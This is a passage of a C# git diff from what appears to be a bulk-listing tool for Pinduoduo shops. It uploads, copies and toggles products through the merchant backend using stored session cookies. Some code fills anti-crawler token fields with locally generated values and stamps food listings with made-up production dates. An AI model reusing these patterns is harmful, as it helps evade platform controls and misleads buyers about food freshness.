+ imageString += ",{\"url\":\"" + r.carousel_gallery_list[i] + "\", \"type\":1 }"; + } + + r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id); + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string str = ""; + for (int i = 0; i < 16; i++) + { + str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + } + string strToken = str + "-" + strTime; + string strNumber = ""; + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + string codex = ""; + + r.goods_name = BaseClass.SubCharLength(r.goods_name, 60); + string dataUp = "{\"cat_id\":" + r.cat_id + ",\"crawlerInfo\":\"" + codex + "\",\"goods_type\":\"1\",\"country\":\"\",\"country_id\":\"\"," + + "\"warehouse\":\"\",\"customs\":\"\",\"is_customs\":0,\"is_pre_sale\":0,\"pre_sale_time\":\"\"," + + "\"is_refundable\":1,\"shipment_limit_second\":172800,\"event_type\":\"0\",\"is_folt\":\"1\"," + + "\"goods_name\":\"" + r.goods_name + "\",\"tiny_name\":\"\",\"market_price\":" + r.market_price + + ",\"goods_desc\":\"" + r.goods_desc + "\"," + + "\"image_url\":\"" + r.image_url + "\",\"thumb_url\":\"" + r.thumb_url + "\",\"hd_thumb_url\":\"" + r.hd_thumb_url + "\"," + + "\"gallery\":[" + imageString.Substring(1) + "],\"cost_template_id\":\"" + r.cost_template_id + "\",\"weight\":\"1.00\",\"warm_tips\":\"\"," + + "\"skus\":[" + SkuString + "],\"out_goods_sn\":\"" + "\",\"groups\":{\"customer_num\":" + UploadPinduoduoMain.GroupCount + "," + + "\"buy_limit\":" + UploadPinduoduoMain.LimitBuy + ",\"order_limit\":" + UploadPinduoduoMain.LimitBuy + + "},\"production_license\":\"\",\"production_standard_number\":\"\",\"goods_commit_id\":\"" + pinId + "\"}"; + string refere = "https://mms.pinduoduo.com/"; + string url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/update"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Shop.Cookies); + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (!string.IsNullOrEmpty(error_msg)) + return false; + url = "https://mms.pinduoduo.com/glide/v2/mms/query/goods/is_commit_available/" + pinId; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/submit"; + string data = "{\"goods_commit_id\":\"" + pinId + "\",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (!string.IsNullOrEmpty(error_msg)) + return false; + int goods_status = 1; + for (int i = 0; i < 10 && goods_status == 1; i++) + { + html = new PinduoduoApiGetProduct(Shop).GetCommitDetail(pinId); + goods_status = BaseRegex.GetIntJson(ref html, "goods_status"); + if (goods_status != 2) + Thread.Sleep(10 * 1000); + } + if (goods_status != 2) + { + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/" + pinId + "/delete"; + refere = "https://mms.pinduoduo.com/"; + html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, "{}", Shop.Cookies); + return false; + } + return true; + } + + + + public bool GetArrangeForm() + { + GetProductDetail ge = new GetProductDetail(Shop, "店铺整理"); + var r = ge.Get(pid); + if (r == null) + return false; + + string skuApiStringNew = ""; + for (int i = 0; i < r.sku_list.Count; i++) + { + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + "\",\"quantity\":1,\"spec_id_list\":\"[" + spec + "]\"}"; + } + string addContent = ",\"fabric\":" + r.fabricx + ",\"fabric_content\":" + r.fabric_contentx; + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + api.Data.Add("goods_name", BaseClass.SubCharLength(title.Replace("✅", "").Replace("◆", ""), 60)); + api.Data.Add("goods_type", "1"); + api.Data.Add("goods_desc", r.goods_desc); + api.Data.Add("cat_id", r.cat_id.ToString()); + api.Data.Add("tiny_name", ""); + api.Data.Add("country_id", "0"); + api.Data.Add("market_price", r.market_price.ToString()); + api.Data.Add("is_pre_sale", "false"); + api.Data.Add("shipment_limit_second", "172800"); + api.Data.Add("cost_template_id", r.cost_template_id.ToString()); + api.Data.Add("customer_num", UploadPinduoduoMain.GroupCount.ToString());//团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", UploadPinduoduoMain.LimitBuy.ToString()); + api.Data.Add("order_limit", UploadPinduoduoMain.LimitBuy.ToString()); + } + api.Data.Add("is_refundable", "true"); + api.Data.Add("second_hand", "false"); + api.Data.Add("is_folt", "true"); + if (!string.IsNullOrEmpty(addContent)) + { + int fabric = BaseRegex.GetIntJson(ref addContent, "fabric"); + int fabric_content = BaseRegex.GetIntJson(ref addContent, "fabric_content"); + api.Data.Add("fabric", fabric.ToString()); + api.Data.Add("fabric_content", fabric_content.ToString()); + } + api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]"); + + api.Data.Add("out_goods_id", r.outer_goods_id); + api.Data.Add("hd_thumb_url", r.hd_thumb_url); + api.Data.Add("thumb_url", r.thumb_url); + api.Data.Add("image_url", r.image_url); + api.Data["goods_desc"] = r.goods_desc; + //构造carousel_gallery 轮播图 + string carousel_gallery = string.Empty; + if (r.carousel_gallery_list != null & r.carousel_gallery_list.Count > 0) + { + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + carousel_gallery += ",\"" + r.carousel_gallery_list[i] + "\""; + } + } + if (!string.IsNullOrEmpty(carousel_gallery)) + carousel_gallery = carousel_gallery.Substring(1); + api.Data.Add("carousel_gallery", "[" + carousel_gallery + "]"); + + //构造detail_gallery商品详情图片 + string detail_gallery = ""; + for (int j = 0; j < r.detail_gallery_list.Count; j++) + { + if (r.detail_gallery_list.Count > 5 && j == 0 || r.detail_gallery_list.Count > 8 && j == r.detail_gallery_list.Count - 1)//不要第一张图和最后一张 + { + continue; + } + string urlImg = r.detail_gallery_list[j]; + if (!urlImg.Contains("http:")) + urlImg = "http:" + urlImg; + string exe = Path.GetExtension(urlImg).ToLower(); + if (exe != ".jpeg" && exe != ".jpg" && exe != ".png") + continue; + + detail_gallery += ",\"" + urlImg + "\""; + } + if (!string.IsNullOrEmpty(detail_gallery)) + { + detail_gallery = detail_gallery.Substring(1); + } + api.Data.Add("detail_gallery", "[" + detail_gallery + "]"); + if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + r.cat_id + ","))//食品 + { + api.Data.Add("shelf_life", "300"); + api.Data.Add("start_production_date", BaseClass.GetTime(DateTime.Now.AddDays(-5)).ToString()); + api.Data.Add("end_production_date", BaseClass.GetTime(DateTime.Now).ToString()); + } + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return false; + string html = api.Add(); + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add("店铺整理", "复制商品失败,原因:" + error_msg); + return false; + } + string goodsid = BaseRegex.GetStringJson(ref html, "goods_id"); + LogSave.Add("店铺整理", "复制商品成功,生成商品ID:" + goodsid); + return true; + } + + } +} diff --git a/Work/Api/UploadPinduoduoMain.cs b/Work/Api/UploadPinduoduoMain.cs new file mode 100644 index 0000000..1fee7d8 --- /dev/null +++ b/Work/Api/UploadPinduoduoMain.cs @@ -0,0 +1,3824 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using Work.CollectClass; +using Work.ManageClass; +using System.Data; +using System.Threading.Tasks; + +namespace Work.Api +{ + public class UploadPinduoduoMain + { + public string Name; + public ShopChatBase Shop; + public UploadPinduoduoMain(string name) + { + Name = name; + } + + public static bool isUseCache = true; + public static Dictionary EditDayTemp = new Dictionary(); + public static Dictionary CatDayTemp = new Dictionary(); + public static Dictionary CatHtmlTemp = new Dictionary(); + public static decimal MultiPrice = 0, MultiSavePrice = 0, MultiPricex = 0, Postage = 0, SinglePrice = 0, BeforePrice = 0, LowPricePercent = 1.0m, LowPriceStock = 0, LowPriceAdd = 0; + + public static bool RandPrice = false, ImageBuild = false, PropImageToMain = false, DeleteMainImage = false, RandSku = false, ErrorDown = false, + RandDeleteSku = false, RandDeleteImage = false, RandMainImage = false, Running = false, RunningReplace = false, JustSaveContentImage = false, DeleteFirst = false, + PriceShield = false, RandDesc = false, UseApi = false, Relation = false, GotoEnd = false, NoSold = false, NoVisit = false, NoNeerReplace = false, OffProduct = false, + JustOnline = false, JustOffline = false, Waiting = false, ReplaceWaiting = false, JustFree = false, LimitReplace = false, PreFix = false, Irregularities = false, IrregularitiesWord = false,JinUp = false, + CutHand = false, RunningLoop = false, LowPriceSku = false, LowPriceQ = false, JustCollection = false, JustSales = false, limitCount = false, ResurHand = false, DesShop = false, WhiteBack = false, SelBrand = false, NoRepeat = false, MainImg = false, singleUP = false,upRunning=false; + + public static int DeleteMainImageCut = 0, CutHandStock = 3, SubCoupon = 0, + ShopThreadCount = 0, + SingleThreadCount = 0, + RandPrice1 = 0, + RandPrice2 = 0, + MaxUpload = 1000, + JustSaveContentImageCount = 0, LimitBuy = 999, BuyLimit = 99, OrderLimit = 99, GroupCount = 2, VisitCount = 0, NoNeerDays = 0, Days = 0, OffProductCount = 0, ReplaceCount = 0, DelCount = 0; + public static long MinPrice = 0, MaxPrice = 0; + public static string PreFixTitle = ""; + public static string CutHandName = "", CutHandImage = "", CutHandPath = ""; + public static string onTime = ""; + public static string offTime = ""; + public static List ProductStock = new List(); + public static List ProductStockTemp = new List(); + public static List ProductTemp = new List(); + public static List DeleteIds = new List(); + public static List ShopTemp = new List(); + public static List ProductReplaceTemp = new List(); + public static List ProductArrangeTemp = new List(); + public static List ProductResurVioTemp = new List(); + public static List ProductResurTemp = new List(); + public static List PromotionPlanList = new List(); + public static List PromotionPlanTempList = new List(); + public static List PromPlanList = new List(); + public static List ShopReplaceTemp = new List(); + //public static List ProductOnOrOffTemp = new List(); + public static List ProductDelTemp = new List(); + public static List onOrOffStatusList = new List(); + public static List onOrLoopOffStatusList = new List(); + public static List delGroupStatusList = new List(); + public static int onSaleHour = 0; + public static int offSaleHour = 0; + public static List ProductOnOrOffTempDic = new List(); + public static List RestoreProduct = new List(); + public static bool onStartFlag = false; + public bool isOnline = false; + public string delTitle = ""; + public static bool isAdvance = false, SaleSetFalseDown = false, NoRuleIds = false, defaultPid = false, isLowPriceApplied = false; + public static long endAdvanceTime = 0; + public long arrangePid = 0; + public static string arrangeGoodName = ""; + public List arrangePidList = new List(); + public string arrangeShopName = ""; + public static List brandNameList = new List(); + public List ResurProList = new List(); + public List goodIds = new List(); + public List keywords = new List(); + public static Dictionary dicPlan = new Dictionary(); + public static List formIdlist = new List(); + public static int CustomThreadCount = 20; + public static Dictionary> ShopTitles = new Dictionary>(); + + public static List RuleIds = new List(); + public static List RuleTitles = new List(); + + public static bool ckBrandName = false; + public static string BrandName = ""; + public static int upGoodsCount = 0; + public static string fixName = "前缀"; + public static bool isPreSale = false; + public static long endAdvanceTimex = 0; + public static bool isSevNoRea = false; + public static bool isDefaultQun = false; + public static bool isDefaultMoni = false; + public static bool isProxy = true; + public static bool isfolt = false; + public static bool isSecond = false; + public static bool isLogistics = false; + public static bool isFourLogistics = false; + public static bool isSpecCount = false; + public static bool ismaterial = false; + public static bool isfruit = false; + public static bool isExpressPrice = true; + public static bool isChkAutophy = false; + public static bool isUpSku = true; + public static string AntiContent = ""; + public static long SingleCount = -1; + public static string AddCatString = ""; + public static bool upfinish = false; + public static bool isCatType = false; + public static Dictionary CountryList = new Dictionary(); + public static List brandFilterNameList = new List(); + public static decimal minPrice = 0M; + public static decimal maxPrice = 0M; + public static string priceModel = "0"; + public static bool isPriceModel = false; + public static bool isDraft = false; + public static bool isMaxPrice = false; + public static bool isUsePddCache = true; + public static bool isUseTaoBaoCache = true; + public static bool isUseDouYinCache = true; + public static List PriceModelList = new List(); + public void Get() + { + upRunning = true; + GotoEnd = false; + bool first = true; + JingXiCollect.VerifyCodeUrl = "";//京喜采集全局变量初始化赋初值 by ttzhao 2020.6.29 + new Thread(CutImage).Start(); + if (singleUP) + { + ProductStockTemp.Clear(); + for (int i = 0; i < ProductStock.Count; i++) + { + ProductStockTemp.Add(ProductStock[i]); + } + } + for (int i = 0; i < ProductStock.Count; i++) + { + if (ProductStock[i].MainCatId == 0) + { + CatTemp.Add(ProductStock[i]); + } + } + if (CatTemp.Count > 0) + { + new Thread(GetNewCat).Start(); + } + //Again: + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count && upRunning; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.Select || !shop.Showed) + continue; + if (singleUP) + Threadx.ThreadListWait(ref ts, new Thread(new UploadShopControl(Name, shop).Getsingle), ShopThreadCount); + else + Threadx.ThreadListWait(ref ts, new Thread(new UploadShopControl(Name, shop).Get), ShopThreadCount); + Thread.Sleep(1000); + if (first && ShopThreadCount > 1) + { + first = false; + Thread.Sleep(20 * 1000); + } + } + Threadx.ThreadListWait(ref ts); + //if (ProductStock.Count==0) + //{ + // Running = false; + // GotoEnd = true; + //} + //else + //{ + // goto Again; + //} + MessageBox.Show("上传执行完成", "提示"); + upfinish = true; + //if (UploadPinduoduoMain.isChkAutophy) + // GetInsPec(); + } + public static List imgList = new List(); + public static bool RunningImage = false; + public static int RelErrorCount = 0; + public static string RelErrorMessage = ""; + public void CutImage() + { + if (RunningImage) + return; + RunningImage = true; + List ts = new List(); + while (true) + { + if (imgList.Count <= 0) + { + Thread.Sleep(2000); + continue; + } + try + { + var p = imgList[0]; + imgList.RemoveAt(0); + string[] info = p.Split('@'); + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == info[0]); + if (shop == null) + continue; + CutImage cutImage = new CutImage(Name, shop); + cutImage.goodsId = long.Parse(info[1]); + cutImage.url = info[2]; + Threadx.ThreadListWait(ref ts, new Thread(cutImage.CutImageVaule), 8); + Thread.Sleep(1000); + } + catch + { + + } + } + } + + public void GetReplace() + { + RunningReplace = true; + GotoEnd = false; + List ts = new List(); + bool first = true; + for (int i = 0; i < GetShopLoginInfo.Shops.Count && RunningReplace; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + Threadx.ThreadListWait(ref ts, new Thread(new UploadShopControl(Name, shop).GetReplacePrice), ShopThreadCount); + Thread.Sleep(1000 * ShopThreadCount); + if (first && ShopThreadCount > 1) + { + first = false; + Thread.Sleep(20 * 1000); + } + } + Threadx.ThreadListWait(ref ts); + Running = false; + GotoEnd = true; + MessageBox.Show("替换执行完成", "提示"); + } + public void GetClearWord() + { + RunningReplace = true; + GotoEnd = false; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count && RunningReplace; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + Threadx.ThreadListWait(ref ts, new Thread(new UploadShopControl(Name, shop).ClearTitle), ShopThreadCount); + Thread.Sleep(2000 * ShopThreadCount); + } + Threadx.ThreadListWait(ref ts); + Running = false; + GotoEnd = true; + MessageBox.Show("替换执行完成", "提示"); + } + public void SetNewTitle() + { + RunningReplace = true; + GotoEnd = false; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count && RunningReplace; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + Threadx.ThreadListWait(ref ts, new Thread(new UploadShopControl(Name, shop, true).ClearTitle), ShopThreadCount); + Thread.Sleep(2000 * ShopThreadCount); + } + Threadx.ThreadListWait(ref ts); + Running = false; + GotoEnd = true; + MessageBox.Show("替换执行完成", "提示"); + } + public void GetInsPec() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.Select || !shop.Showed) + continue; + string url = "https://mms.pinduoduo.com/gear/mall/inspect/new/goods/action/start"; + string refer = "https://mms.pinduoduo.com/search/good_inspect_v2/inspect_start"; + string data = "{}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refer, true, data, shop.Cookies); + LogSave.Add(Name, "店铺" + shop.ShopName + "商品体验执行完成"); + } + LogSave.Add(Name, "商品体验全部执行完成"); + } + public void SetAdvanceSale() + { + RunningReplace = true; + //GotoEnd = false; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count && RunningReplace; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + UploadShopControl.endAdvanceTime = endAdvanceTime; + Threadx.ThreadListWait(ref ts, new Thread(new UploadShopControl(Name, shop, isAdvance).SetAdvanceSale), ShopThreadCount); + Thread.Sleep(3000); + } + Threadx.ThreadListWait(ref ts); + Running = false; + //GotoEnd = true; + //MessageBox.Show("预售执行完成", "提示"); + } + + public void GetOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + if (JustOnline) + { + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetOnline), ShopThreadCount); + } + if (JustOffline) + { + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = false; + p.OffOroduct = OffProduct; + p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetOnline), ShopThreadCount); + } + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetArrangeOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + if (JustOnline && JustOffline) + { + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + //p.isOnline = false; + p.JustCollection = JustCollection; + p.JustSales = JustSales; + p.minPrice = MinPrice; + p.maxPrice = MaxPrice; + p.arrangeGoodName = arrangeGoodName; + //p.OffOroduct = OffProduct; + //p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetAllArrangeOnline), ShopThreadCount); + } + else if (JustOnline) + { + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.JustCollection = JustCollection; + p.JustSales = JustSales; + p.minPrice = MinPrice; + p.maxPrice = MaxPrice; + p.arrangeGoodName = arrangeGoodName; + Threadx.ThreadListWait(ref ts, new Thread(p.GetArrangeOnline), ShopThreadCount); + } + else if (JustOffline) + { + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = false; + p.JustCollection = JustCollection; + p.JustSales = JustSales; + p.minPrice = MinPrice; + p.maxPrice = MaxPrice; + p.arrangeGoodName = arrangeGoodName; + //p.OffOroduct = OffProduct; + //p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetArrangeOnline), ShopThreadCount); + } + + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public static void GetCateTempHtml(int catId) + { + if (!Directory.Exists("temp/cattemp/")) + FileBase.DirectoryCreate("temp/cattemp/"); + string s = FileBase.ReadAllText("temp/cattemp/" + catId + "cathtml.tjm"); + + if (string.IsNullOrEmpty(s) || !s.Contains("@")) + return; + string[] li = s.Split('@'); + if (li.Length > 2) + li[2] = s.Substring(li[0].Length + li[1].Length + 2); + long id = 0; + if (li.Length <= 2 || !long.TryParse(li[0], out id)) + return; + DateTime dt = DateTime.Parse(li[1]); + if (CatDayTemp.ContainsKey(id)) + { + CatDayTemp[id] = dt; + CatHtmlTemp[id] = li[2]; + } + else + { + try + { + CatDayTemp.Add(id, dt); + CatHtmlTemp.Add(id, li[2]); + } + catch + { + } + } + } + + public static void GetCateTempHtml() + { + if (!Directory.Exists("temp/cattemp/")) + FileBase.DirectoryCreate("temp/cattemp/"); + string[] files = Directory.GetFiles("temp/cattemp/", "*.tjm"); + for (int i = 0; i < files.Length; i++) + { + string[] fl = FileBase.ReadAllLines(files[i]); + if (fl != null) + { + foreach (string s in fl) + { + if (string.IsNullOrEmpty(s) || !s.Contains("@")) + continue; + string[] li = s.Split('@'); + if (li.Length > 2) + li[2] = s.Substring(li[0].Length + li[1].Length + 2); + long id = 0; + if (li.Length <= 2 || !long.TryParse(li[0], out id)) + continue; + DateTime dt = DateTime.Parse(li[1]); + if (CatDayTemp.ContainsKey(id)) + { + CatDayTemp[id] = dt; + CatHtmlTemp[id] = li[2]; + } + else + { + CatDayTemp.Add(id, dt); + CatHtmlTemp.Add(id, li[2]); + } + } + } + } + } + + public void GetResurReplace() + { + List ts = new List(); + for (int i = 0; i < ResurProList.Count; i++) + { + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == ResurProList[i].ShopName); + if (shop == null) + continue; + if (shop.ExpressId == 0) + { + shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(shop.Cookies, shop.MallId, shop); + if (shop.ExpressId == 0) + { + Thread.Sleep(10000); + shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + if (shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + continue; + } + } + if (!Directory.Exists("temp/resursame/")) + FileBase.DirectoryCreate("temp/resursame/"); + string[] fl = FileBase.ReadAllLines("temp/resursame/" + shop.ShopName + "edit.tjm"); + if (fl != null) + { + foreach (string s in fl) + { + if (string.IsNullOrEmpty(s) || !s.Contains(",")) + continue; + string[] li = s.Split(','); + long id = 0; + if (li.Length != 2 || !long.TryParse(li[0], out id)) + continue; + DateTime dt = DateTime.Parse(li[1]); + if (UpPinduoduoProduct.EditDayTemp.ContainsKey(id)) + UpPinduoduoProduct.EditDayTemp[id] = dt; + else + UpPinduoduoProduct.EditDayTemp.Add(id, dt); + } + } + var list = UpPinduoduoProduct.EditDayTemp.ToList(); + bool ishad = false; + for (int j = 0; j < list.Count; j++) + { + if (list[j].Value < DateTime.Now.AddDays(-UploadPinduoduoMain.NoNeerDays)) + continue; + var pp = ResurProList.Find(tt => tt != null && tt.GoodsId == list[j].Key); + if (pp != null) + { + //ResurProList.Remove(pp); + ishad = true; + LogSave.Add(Name, "商品最近替换过,跳过:" + list[j].Key); + Thread.Sleep(100); + break; + } + } + if (ishad) + continue; + var uc = new UploadShopControl(Name, shop, null); + uc.product = ResurProList[i]; + uc.GetReplaceRes(); + Thread.Sleep(3000); + } + + } + + public void GetResurAddOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectResure || !shop.Showed) + continue; + var uc = new UploadShopControl(Name, shop); + uc.productList = ResurProList; + Threadx.ThreadListWait(ref ts, new Thread(uc.GetResureAdd), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + public void GetResurOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectResurVio || !shop.Showed) + continue; + + var p = new GetProductOnlineClass(Name, shop); + //p.ReplaceModel = true; + //p.isOnline = false; + //p.JustCollection = JustCollection; + //p.JustSales = JustSales; + ////p.OffOroduct = OffProduct; + ////p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetResurOnline), ShopThreadCount); + + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetPromotionPlan() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPlan || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.goodIds = goodIds; + p.keywordxs = keywords; + Threadx.ThreadListWait(ref ts, new Thread(p.GetPromotionPlan), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetNonAdvanceOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetNonAdvanceOnline), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetAllShopOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + GetProductOnlineClass.endAdvanceTime = endAdvanceTime; + Threadx.ThreadListWait(ref ts, new Thread(p.GetAllShopOnline), 50); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetOnSaleProductline() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + new Thread(p.GetOnline).Start(); + } + } + public void GetVisit() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetVisitProductNew(Name, shop); + p.ReplaceModel = true; + Threadx.ThreadListWait(ref ts, new Thread(p.Get), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + public bool SetOnline = false; + public void SetStatus() + { + bool setOnLine = SetOnline; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.isOnline = !setOnLine; + p.OffOroduct = OffProduct; + p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.UploadMethod), ShopThreadCount); + } + Threadx.ThreadListWait(ref ts); + } + + + public void SetShopGoodsStatus() + { + bool setOnLine = SetOnline; + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == arrangeShopName); + if (!shop.SelectReplace || !shop.Showed) + return; + var p = new GetProductOnlineClass(Name, shop); + p.isOnline = !setOnLine; + p.arrangePid = arrangePid; + new Thread(p.UploadArrangeMethod).Start(); + } + + public void SetShopGoodsListStatus() + { + bool setOnLine = SetOnline; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.isOnline = !setOnLine; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDownGood), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + + + + + public static Dictionary TypeName = new Dictionary(); + public static Dictionary TypeValues = new Dictionary(); + private static int firstKeyId = 0, firstValueId = 0; + /// + /// 特殊属性独立添加 + /// + /// + /// + public static string AddType(ref ProductCollectBase p, int mainCatId, string cookies, int mallId) + { + return ""; + if (mainCatId == 5) + { + if (TypeName.Count == 0) + { + string url = "https://mms.pinduoduo.com/malls/" + mallId + "/transport/glide/query/clothes_fabric/list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""code"":([\d]+),""desc"":""(.*?)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[2].Value; + int value = int.Parse(m[i].Groups[1].Value); + if (firstKeyId == 0) + firstKeyId = value; + if (!TypeName.ContainsKey(name)) + TypeName.Add(name, value); + } + } + if (TypeValues.Count == 0) + { + string url = "https://mms.pinduoduo.com/malls/" + mallId + "/transport/glide/query/clothes_fabric_content/list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""code"":([\d]+),""desc"":""(.*?)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[2].Value; + int value = int.Parse(m[i].Groups[1].Value); + if (firstValueId == 0) + firstValueId = value; + if (!TypeValues.ContainsKey(name)) + TypeValues.Add(name, value); + } + } + } + if (mainCatId == 5) + { + string name = "材质成分"; + string value = ""; + for (int i = 0; i < p.Prop.Count; i++) + { + if (p.Prop[i].Key == name) + { + 